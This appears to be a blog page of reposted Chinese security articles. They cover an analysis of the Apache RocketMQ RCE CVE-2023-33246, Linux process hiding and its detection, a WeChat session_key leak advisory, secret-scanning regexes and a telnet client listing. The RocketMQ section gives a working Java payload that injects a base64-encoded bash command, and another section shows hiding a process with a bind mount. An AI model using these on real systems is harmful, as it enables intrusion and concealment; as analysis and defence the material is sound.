Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

本文转自Sunflower@知道创宇404实验室 并作补充

1.漏洞介绍

Apache RocketMQ 存在远程命令执行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。

2.漏洞版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

3.环境搭建

使用docker拉取漏洞环境

1
docker pull apache/rocketmq:4.9.5

运行docker run命令,搭建docker环境

1
2
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

docker ps检查docker正常启动即可

image

4.RocketMQ简介

我们平时使用一些体育新闻软件,会订阅自己喜欢的一些球队板块,当有作者发表文章到相关的板块,我们就能收到相关的新闻推送。

发布-订阅(Pub/Sub)是一种消息范式,消息的发送者(称为发布者、生产者、Producer)会将消息直接发送给特定的接收者(称为订阅者、消费者、Comsumer)。而RocketMQ的基础消息模型就是一个简单的Pub/Sub模型[1]。

4.1 RocketMQ的部署模型

Producer、Consumer又是如何找到Topic和Broker的地址呢?消息的具体发送和接收又是怎么进行的呢?

image

4.2 名字服务器 NameServer

NameServer是一个简单的 Topic 路由注册中心,支持 Topic、Broker 的动态注册与发现。

主要包括两个功能:
Broker管理,NameServer接受Broker集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制,检查Broker是否还存活;
路由信息管理,每个NameServer将保存关于 Broker 集群的整个路由信息和用于客户端查询的队列信息。Producer和Consumer通过NameServer就可以知道整个Broker集群的路由信息,从而进行消息的投递和消费。

4.3 代理服务器 Broker

Broker主要负责消息的存储、投递和查询以及服务高可用保证。

NameServer几乎无状态节点,因此可集群部署,节点之间无任何信息同步。Broker部署相对复杂。

在 Master-Slave 架构中,Broker 分为 Master 与 Slave。一个Master可以对应多个Slave,但是一个Slave只能对应一个Master。Master 与 Slave 的对应关系通过指定相同的BrokerName,不同的BrokerId 来定义,BrokerId为0表示Master,非0表示Slave。Master也可以部署多个。

4.4 消息收发

在进行消息收发之前,我们需要告诉客户端NameServer的地址,RocketMQ有多种方式在客户端中设置NameServer地址,举例三个,优先级由高到低,高优先级会覆盖低优先级。

代码中指定Name Server地址,多个namesrv地址之间用分号分割

1
2
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");  
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");

Java启动参数中指定Name Server地址

1
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876  

环境变量指定Name Server地址

1
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876

4.5 漏洞主要涉及的类的介绍

4.5.1 DefaultMQAdminExt

DefaultMQAdminExt是 RocketMQ 提供的一个扩展类。它提供了一些管理和操作 RocketMQ 的工具方法,可以用于管理主题(Topic)、消费者组(Consumer Group)、订阅关系等。

DefaultMQAdminExt类提供了一些常用的方法,包括创建和删除主题、查询主题信息、查询消费者组信息、更新订阅关系等。它可以通过与 NameServer 交互来获取和修改相关配置信息,并提供了对 RocketMQ 的管理功能。

例如DefaultMQAdminExt更新broker配置的一个方法(更新的配置文件为broker.conf):

1
2
3
4
5
public void updateBrokerConfig(String brokerAddr,
Properties properties) throws RemotingConnectException, RemotingSendRequestException,
RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}

4.5.2 FilterServerManager

在 Apache RocketMQ 中,FilterServerManager 类是用于管理过滤服务器(Filter Server)的类。过滤服务器是 RocketMQ 中的一种组件,用于支持消息过滤功能。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。

5.漏洞分析

补丁文件[2]中直接将Filter Server模块全部移除,所以我们可以直接来看FilterServerManager,简要分析一下FilterServerManager的调用流程:

在Broker启动时执行sh mqbroker…,调用到BrokerStartup类:

image

在该类中继续调用到BrokerController中的start()方法

image

继续跟进

image

最终到了FilterServerManager类中,其中FilterServerUtil.callShell();存在命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public void start() {

this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}

if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}

if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}

根据start()方法内部可知createFilterServer方法每隔30秒都会被调用一次,

1
2
3
4
5
6
7
8
9
10
11
12
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

到了这一步,很明显我们只需要控制BrokerConfig进行命令拼接,等待触发createFilterServer即可造成RCE。

但是要想成功触发命令执行还有两个问题需要解决一下:

1、在createFilterServer方法中,more的值要大于0才会触发callShell方法

1
2
3
4
5
6
7
8
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

这里只需要通过DefaultMQAdminExt设置filterServerNums的值即可,大致为:

1
2
3
4
5
6
7
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...

2、callshell方法传入命令时,shellString会被splitShellString方法使用空格进行拆分为一个cmdArray数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}

意味着传入的命令如果带了空格,都会被拆分为数组,而数组在exec中会将每个命令的结尾标记为下一个命令的开头[3]。

sh {可控}/bin/startfsrv.sh ... 如果传入 -c curl 127.0.0.1;

那么comArray为 ['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']

这里的每个命令的结尾作为下一个命令的开头,它将每个被传入的命令都看作为一个整体,想不出一个更合适的例子,这里可以使用shell里的单引号括起来进行辅助理解:

'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

很明显,这里的curl因为使用了空格,导致curl 127.0.0.1被拆分为了两个部分,正确的写法应该是:

'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

但是使用空格又会被split,所以现在的问题点就在于如何避免使用空格进行完整的传参,网上公开的解法[4]:

-c $@|sh . echo curl 127.0.0.1;

$@ 作为一个特殊变量,它表示传递给脚本或命令的所有参数,直接将echo后面的值作为一个整体传递给$@,解决了拆分命令的问题。

感谢longofo@知道创宇404实验室带我探讨出第二个绕过方法:

顺便一提,这个绕过的核心点在于这里如果不使用bash,则无法成功使用${IFS}以及{}进行绕过空格限制,这里就不再进行细节讲解,感兴趣的师傅可以动手试试:

-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";

5.1 payload构造

根据上面的知识,最终构造的payload为:

1
2
3
4
5
6
7
8
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();

5.2 漏洞验证

使用payload进行curl dnslog,每隔30s左右收到一次请求:

image

5.3 漏洞修复

在修复版本4.9.6和5.1.1中都是直接删除了filter server模块

image

5.4 影响范围统计

使用Zoomeye[5]进行搜索,得到ip结果34348条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22
image

使用Zoomeye搜索一下被攻击过的目标数量,得到ip结果6011条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22
image

通过Zoomeye的下载功能,再来本地统计一下攻击手法。这里大部分都是通过wget、curl等指令下载木马进行执行反弹shell。

image

6.参考链接

[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn

[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc

[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec

[4] https://github.com/I5N0rth/CVE-2023-33246

[5] https://www.zoomeye.org

Linux当中如何隐藏和查看进程

Linux当中如何隐藏和查看进程

本文转自CN-FuWei 并作补充

前言

进程是执行程序的过程,类似于按照图纸,真正去盖房子的过程。

同一个程序可以执行多次,每次都可以在内存中开辟独立的空间来装载,从而产生多个进程。不同的进程还可以拥有各自独立的IO接口。操作系统的一个重要功能就是为进程提供方便,比如说为进程分配内存空间,管理进程的相关信息等等,就好像是为我们准备好了一个精美的地址。

进程信息是proc目录下动态生成,每个动态创建的进程ID号下面详细的记录了关于该进程的fd,mem,io,cpuset等进程信息。

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。

通过它可以访问系统内核数据。用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。

由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统动态的。在/proc下还有三个很重要的目录:net,scsi和sys。sys目录是可写的,可以通过它来访问或修改内核的参数,而net和scsi则依赖于内核配置。例如,如果系统不支持scsi,则scsi 目录不存在。

除了以上介绍的这些,还有的是一些以数字命名的目录,它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口。

读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

一、隐藏进程

利用mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程ID的目录,我们知道ps、top等工具会读取/proc目录下获取进程信息,如果将进程ID的目录信息覆盖,则原来的进程信息将从ps的输出结果中隐匿。

比如当前有一个minio进程(pid:1945)

1
2
[root@docker]-[~]-ps -ef|grep minio
root 1945 1924 0 08:06 ? 00:00:10 minio server /data --console-address 0.0.0.0:9999

现在我们将该进程隐藏:

1
2
3
4
#首先,创建一个空目录(无任何挂载)
mkdir -p /empty/dir
#将空目录进行挂载
mount -o bind /empty/dir/ /proc/1945

然后,我们再来查询看看进程是否隐藏:

1
2
[root@docker]-[~]-#ps -ef|grep minio
root 46358 32804 0 10:54 pts/0 00:00:00 grep --color=auto minio

发现,进程已经被我们隐藏掉了。

二、隐藏进程侦查

2.1 方式一(mounts)

1
[root@docker]-[/proc]-#cat /proc/mounts 

image

2.2 方式二(sysdig)

下载安装:

1
2
3
curl -s https://s3.amazonaws.com/download.draios.com/stable/install-sysdig | sudo bash

[root@docker]-[~]-#sysdig -c topprocs_cpu

image

2.3 方式三(unhide)

下载安装:

1
yum -y install unhide

暴力扫描隐藏进程:

1
unhide checkbrute

image

安全课堂|关于小程序session_key泄露漏洞

安全课堂|关于小程序session_key泄露漏洞

本文转自微信团队 并作补充

为进一步提升小程序的安全性和用户体验,目前平台对提审的小程序均需进行安全检测,在检测过程中发现仍有许多小程序存在安全漏洞,其中涉及session_key泄露漏洞,希望通过以下相关的漏洞介绍、案例分析和修复建议,开发者能更加了解如何对该漏洞进行防御。

一、漏洞介绍

为了保证数据安全,微信会对用户数据进行加密传输处理,所以小程序在获取微信侧提供的用户数据(如手机号)时,就需要进行相应的解密,这就会涉及到session_key,具体流程可参考开放数据校验与解密开发文档。

session_key指的是会话密钥,可以简单理解为微信开放数据AES加密的密钥,它是微信服务器给开发者服务器颁发的身份凭证,这个数据正常来说是不能通过任何方式泄露出去的。小程序若存在session_key泄露漏洞的情况,则代表微信侧传递的用户数据有被泄露、篡改等风险,开发者应及时发现该漏洞并快速修复相应问题。

image

二、漏洞案例

某小程序因为session_key泄露,导致该小程序可以使用任意手机号进行登录,造成了极大的安全风险。

我们可以很明显地看到,下列请求中的session_key已经被泄露:

image

通过获取该session_key,我们可以结合iv解密出密文:

image

只需如下脚本即可进行解密,所以攻击者也可利用同样的信息去篡改用户数据,然后加密后返回给服务器,从而达到使用任意手机号进行登录的目的。

image

三、漏洞修复

通过上述案例,我们了解到session_key泄露会对小程序造成的危害,而导致session_key泄露的原因则可能有以下两种:

1.通过auth.code2Session接口获取用户openid时,返回小程序的数据中包含了session_key字段,以泄露的url:/api/get_openid.php?code=xxxx为例,具体的表现如下图所示:

image

查看后端get_openid.php的源码,经排查发现$response 变量包含了session_key字段,开发者应去掉变量中的session_key字段,若需获取openid,应只提取该字段返回小程序即可。

image

2.在解密开放数据时,使用了错误的方式,以获取手机号接口为例,通过事件回调获取微信服务器返回的加密数据(encryptedData和iv)后,将服务端中的session_key传送至小程序前端,直接在前端进行解密:

image

这种方式是绝对不可取的,正确的流程应该是将加密数据(encryptedData和iv)传至服务端后,结合服务端中的session_key进行解密获取手机号,然后返回给小程序。另外,目前平台已对获取手机号接口进行了安全升级,建议开发者使用新版本,以增强小程序的安全性。

若小程序存在相应的session_key泄露漏洞问题,请开发者尽快自查并修复漏洞:

请尽快在网络请求中,去除请求和响应中的session_key字段及其对应值,后续也不应该将session_key传到小程序客户端等服务器外的环境,以便消除风险。

其他常见问题

Q1: 如何进行相应的修复,是需要把session_key字段更换个名字就可以了吗?

A1: 不是,更换字段名无法从根本上消除风险,session_key这个字段及对应值不应该传到小程序客户端等服务器外的环境,需去除请求和响应中的所有相关信息,才可对该漏洞问题进行修复。

Q2: 解密开放数据的正确方式是什么?

A2: 以获取手机号接口为例,通过事件回调获取微信服务器返回的加密数据(encryptedData和iv),将加密数据传至服务端后,结合服务端中的session_key进行解密获取手机号,然后返回给小程序。而不应将服务端中的session_key传送至小程序前端,直接在前端进行解密。

相关文章

安全课堂|关于小程序AppSecret密钥泄露漏洞

安全课堂|关于小程序云AK/SK泄露漏洞

Android 开启个人热点时 获取连接人数以及连接上的设备信息

Android 开启个人热点时 获取连接人数以及连接上的设备信息

本文转自多看一二 并作补充

起因

最近在开发过程当中,遇到一个需求 ,开启个人热点后需要知道有多少人连上了这个热点 以及这些设备的信息

经过一段时间的摸索和反复的查阅资料,有了下面的代码和解决办法:

首先 连接热点的所有信息都保存在proc/net/arp下面 用re文件管理器可以查看一下

会发现 里面有连接的设备的 ip mac地址 等等

好了 那么问题就简单了

直接贴代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
BufferedReader br = null;
ArrayList<ClientScanResult> result = null;

try {
result = new ArrayList<>();
br = new BufferedReader(new FileReader("/proc/net/arp"));//读取这个文件
String ss=br.toString();
String line;
while ((line = br.readLine()) != null) {
String[] splitted = line.split(" +");//将文件里面的字段分割开来
if (splitted.length >= 4) {
// Basic sanity check
String mac = splitted[3];// 文件中分别是IP address HW type Flags HW address mask Device

//然后我们拿取HW address 也就是手机的mac地址进行匹配 如果有 就证明是手机

if (mac.matches("..:..:..:..:..:..")) {
boolean isReachable = InetAddress.getByName(splitted[0]).isReachable(reachableTimeout);

if (!onlyReachables || isReachable) {

result.add(new ClientScanResult(splitted[0], splitted[3], splitted[5], isReachable));//最后如果能匹配 那就证明是连接了热点的手机 加到这个集合里 里面有所有需要的信息
}
}
}
}
} catch (Exception e) {
CandyLog.e(e.getMessage());
} finally {
try {
if (br != null) {
br.close();
}
} catch (IOException e) {
CandyLog.e(e.getMessage());
}
}

public class ClientScanResult {

private String IpAddr;
private String HWAddr;
private String Device;
private boolean isReachable;

public ClientScanResult(String ipAddr, String hWAddr, String device, boolean isReachable) {
super();
this.IpAddr = ipAddr;
this.HWAddr = hWAddr;
this.Device = device;
this.isReachable = isReachable;
}

public String getIpAddr() {
return IpAddr;
}

public void setIpAddr(String ipAddr) {
IpAddr = ipAddr;
}


public String getHWAddr() {
return HWAddr;
}

public void setHWAddr(String hWAddr) {
HWAddr = hWAddr;
}


public String getDevice() {
return Device;
}

public void setDevice(String device) {
Device = device;
}


public boolean isReachable() {
return isReachable;
}

public void setReachable(boolean isReachable) {
this.isReachable = isReachable;
}

}

好了 想要知道连接人数 只要得到集合的size就可以了 又解决一个问题

关键点在于 热点信息储存在proc/net/arp 里面 有兴趣的可以了解下proc目录 里面有很多很多信息

Fiddler设置解密https的网络数据

Fiddler设置解密https的网络数据

本文转自Admirer_joker 并作补充

原理

Fiddler可以通过伪造CA证书来欺骗了浏览器和https服务器。大致原理就是在浏览器面前fiddler伪装成为一个https服务器,而在真正的https服务器面前fiddler又伪装成为浏览器,从而实现解密https数据包的目的;

步骤

解密https需要手动开启,步骤如下:

1. Tools –> Fiddler Options –> HTTPS

2. 打开options-https后,如图:

image

image

image

敏捷代码审计之代码硬编码

敏捷代码审计之代码硬编码

本文转自Sanduo 并作补充

介绍

硬编码(英语:Hard Code或Hard Coding)是指在软件编码过程中,将输出或输入的相关参数(例如:路径、输出的形式或格式)直接以常量的方式撰写在源代码中,而非在执行期间由外界指定的设置、资源、资料或格式做出适当回应。一般被认定是种反模式或不完美的实现,因为软件受到输入资料或输出格式的改变就必须修改源代码,对客户而言,改变源代码之外的小设置也许还比较容易。但硬编码的状况也并非完全只有缺陷,因某些封装需要或软件本身的保护措施,有时是必要的手段。除此之外,有时候因应某些特殊的需求,制作出简单的应用程序,应用程序可能只会执行一次或者有限的几次,或者永远只应付某种单一需求。
所谓硬编码,就是把一个本来应该(可以)写到配置信息中的信息直接在程序代码中写死了。密钥硬编码在代码中,而根据密钥的用途不同,这导致了不同的安全风险,有的导致加密数据被破解,数据不再保密,有的导致和服务器通信的加签被破解,引发各种血案。

硬编码检测方法

方法论主要参考:密码密钥硬编码检查,参考链接详见文章末尾。

鉴别密码密钥方法

香农熵(Shannon entropy)

密钥的长度决定了密钥空间(keyspace),通常以位为单位。密钥空间越大,密钥被攻破的难度就越大。
密钥是由密钥空间的随机值构成。对于任意一个随机变量 X,它的熵定义如下:

image

变量的不确定性越大,熵也就越大,把它搞清楚所需要的信息量也就越大。

  • P(x_i)P(xi) : 指的是单个样本变量所属的变量种类的个数占据所有变量个数的比例。同等长度的字符串,通常密钥的熵值更高
  • 密钥为避免彩虹攻击,在取值上更加的离散,会尽量采用不重复的字符。就像我们为了增加密码的复杂性,要求长度不小于8,必须包含大小写、特殊字符、以及数字一样的道理。所以密钥的熵值会比一般的文本要高的多。我们就是利用这点来识别字符串是否是密钥。

工具的检查逻辑

对于密码密钥的硬编码检查可以采用静态分析工具来完成。工具的检查过程通常包含四个过程:输入文件准备、检查、过滤和报告输出。

image

输入文件分类

我们需要检查的文本文件进行分类,通常包括以下几种类型:

  • 程序语言:C、C++、Java、Python、Go、Js等;
  • 有统一格式的文件:属性文件、yaml、csv、json、xml等;
  • 文本文件:没有固定格式的文本文件。
    分类的目的是为了更好的识别文件中的字符串常量,充分利用字符串常量的上下文关联,以便在分析中最大程度的减少误报。

输入文件转换

  • 程序语言:通过各语言的语法解析器,解析成抽象语法树,提取语法树中的等于字符串的常量,以及对应的变量名;
  • 有统一格式的文件:照格式转换成变量名和字符串常量值;
  • 文本文件:采用token的方式分割成一个个的token,变成一个各的字符串常量。

密码密钥检查

在我们得到大量的变量名和字符串常量后,主要通过正则表达式匹配的方式完成目标的筛选。我们收集的密钥格式包括国内国外主流平台、SDK等相关系统的密钥配置参数名称,可以根据客户的实际情况手动增加和优化规则,进而提高检测的速度和效率。
由于检查密码密钥的种类和类型不同,可以通过配置文件来提高检查能力的可扩展性。
检查配置选项主要包括以下内容:

|信息 |描述 |
|检查类型 |可分为:变量名、字符串常量、或两个都检查 |
|密码密钥的类型 |用于区分不同类型的密码密钥;同时用于告警时区分具体检测到的密码密钥类型 |
|正则表达式 |主要设定匹配的长度,每个字符的可选类型 |
|熵值的阈值 |用于精确的识别密码密钥的类型,降低误报 |

例如:
检查硬编码的口令:检查变量名中包含:password、passwd、pwd的变量,且变量等于字符串常量;正则表达式可以设置成为:”.*(password|passwd|pwd)$”。
检查GitHub的个人凭证:检查字符串常量;这个凭证是以”ghp_”开头的,跟随长度为36的字符串,且每个字符可以为数字和字母;正则表达式可以设置成为:“ghp_[0-9a-zA-Z]{36}”。

密码密钥过滤

静态分析能很大程度上减少了人工审核的工作量,但由于检查模式的不确定性,也会带来不少的误报。误报会给用户在审核过程中带来很大的负面情绪,从而不愿继续使用工具。为了进一步降低误报,我们可以通过下面的方式来降低误报:

  • 密码密钥熵值的计算
    前面讨论过密码密钥的特点,可以通过检测密码密钥的信息熵的方式来降低误报。有些密码密钥设定了最低的阈值,但还是有很多密码密钥并未给出具体的阈值,这个就需要通过经验积累来设定,目前业界也有通过机器学习来完善这个阈值的设定。
  • 污点分析
    在代码中,对于口令的变量的取名上,很多并不会遵守可读性和可维护性来设定变量名,通过前面正则表达式的方式来查找硬编码密码的方式,会造成很多的漏报。这里还可以通过污点分析的方法,来推导出密码是否采用了硬编码。例如检查jdbc连接的密码参数,查看该参数是否为字符串常量。

报告输出

将经过过滤后的结果,输出告警,给出可能泄露的文件名和变量或可能为密码密钥的常量字符串位置,便于人工的排查。

硬编码检测实战

对于审计人员或者安全管理人员并不需要关注密钥检查的算法,通常只需要选用合适的流程,匹配恰当的工具,迅速准确的定位硬编码即可。

检查的流程

信息收集:此阶段中,审计人员进行必要的信息收集,包括本次审计要求、稳定版本的源代码。
工具审计:确定工具审计的标准和各项配置参数,使用Fortify、gitleaks等工具检测目标源代码,对工具检测的结果进行人工核查,筛选,分析,汇总。
人工审计:对客户要求人工审计的重点代码采用人工分析的方法,对源代码中的硬编码进行审计。
综合汇总:将工具审计和人工审计的结果进行对比汇总
输出报告:此阶段中,审计人员根据测试的结果编写直观的硬编码审计服务报告。
源代码硬编码审计要求工作人员有丰富的经验及新颖的思路,同时也是一项比较耗费时间和资源的工作,从效率考虑,一般选择性的抽取部分重要环节的代码进行人工审计。

开源检查工具

SecretScanner

项目地址:https://github.com/deepfence/SecretScanner
SecretScanner可以扫描主机上的容器镜像或本地目录,主要通过正则匹配,扫描效率较高,不仅支持代码而且支持容器扫描,并将结果输出到JSON文件,其中会包含SecretScanner找到的所有敏感数据的详细信息。
SecretScanner方便安全人员在主机上收集敏感数据,如果需要审计特定类型代码或者增加新的硬编码检测点,需要手动修改规则,默认配置文件位于项目中的config.yaml,可以根据实际情况自行修改。

image

不足:规则数量一般

gitleaks

Gitleaks为你提供了一种方法来扫描你的git存储库,以查找这些不需要的数据,这些数据应该是私有的,扫描可以自动化,以完全适合CI/CD工作流程,以便在密码识别更深入到代码库之前进行识别。
gitleaks比较有趣的有以下几点:

  • 支持私有存储库扫描以及需要基于密钥的身份验证的存储库。
  • 支持Gitlab批量组织和存储库所有者(用户)存储库扫描,并提取请求扫描以在常见CI工作流中使用。
  • 支持Pre-Commit,方便研发人员在提交之前进行硬编码检测,防止敏感信息提交。
  • 支持使用git log命令验证由gitleaks找到的发现

image

不足:对普通用户友好程度一般,对于pre-commit需要手动配置,并且在大文件扫描效率较低,官方已移除多线程配置参数,使用默认线程数进行扫描,如果在使用过程中感觉缓慢,可自行设定编译。同样规则数量一般,可以根据实际情况添加。

SASTs

各种SAST工具都可以检测硬编码,但是受限于使用场景,只能检测较少的硬编码场景,比如password,key等,对于特定的硬编码需要手动增加规则,规则友好性一般。

硬编码检测规则

无论gitleaks还是secretScanner,均使用正则匹配相关硬编码,敏感信息,我这里整理出部分敏感信息参数,供大家参考,至于规则,按照要求,自行补充即可,比较简单,这里就不单独描述了

1
regex: '(?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}[\"]([0-9a-zA-Z\-_=]{8,64})[\"]' 

参考

密码密钥硬编码检查
SecretScanner
gitleaks
浅谈密钥硬编码

Python telnet模块说明

Python telnet模块说明

本文转自三番鱼 并作补充

程序要点说明

python实现telnet客户端的六个关键问题及其答案是:
使用什么库实现telnet客户端—-telnetlib

1.怎么连接主机—-两种方法,一种是在实例化时传入ip地址连接主机(tn = telnetlib.Telnet(host_ip,port=23)),第二种是,先不传参数进行实例化再用open方法连接主机(我这里使用的方法)

2.怎么输入用户名密码—-我们使用read_untilb函数监听,出现标志后使用write方法向服务端传输用户名密码

3.怎么执行命令—-仍然是使用write方法向服务端传送命令,不管向服务端传送什么数据都用write;不过要注意需要编码成bytes类型
注:该Telnet.write()函数采用字节字符串。这可以通过仅编码字符串(您尝试编码函数的返回值)来提供,例如:

1
session.write("administrator\n".encode('ascii'))

或者通过为字符串添加前缀b如下:

1
2
3
4
5
6
7
8
9
10
import telnetlib

host = "192.168.1.0"
port = 23
timeout = 100

with telnetlib.Telnet(host, port, timeout) as session:
session.write(b"administrator\n")
session.write(b"password\n")
session.write(b"reboot\n")

4.怎么获取命令执行结果—-使用read_very_eager()方法,该方法获取的内容是上次获取之后本次获取之前的所有输入输出;由于获取到的是bytes类型要decode解码一下

5.怎么退出telnet—退出telnet使用write方法向服务器提交exit命令即可

程序源码清单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import logging
import telnetlib
import time


class TelnetClient():
def __init__(self,):
self.tn = telnetlib.Telnet()

# 此函数实现telnet登录主机
def login_host(self,host_ip,username,password):
try:
# self.tn = telnetlib.Telnet(host_ip,port=23)
self.tn.open(host_ip,port=23)
except:
logging.warning('%s网络连接失败'%host_ip)
return False
# 等待login出现后输入用户名,最多等待10秒
self.tn.read_until(b'login: ',timeout=10)
self.tn.write(username.encode('ascii') + b'\n')
# 等待Password出现后输入用户名,最多等待10秒
self.tn.read_until(b'Password: ',timeout=10)
self.tn.write(password.encode('ascii') + b'\n')
# 延时两秒再收取返回结果,给服务端足够响应时间
time.sleep(2)
# 获取登录结果
# read_very_eager()获取到的是的是上次获取之后本次获取之前的所有输出
command_result = self.tn.read_very_eager().decode('ascii')
if 'Login incorrect' not in command_result:
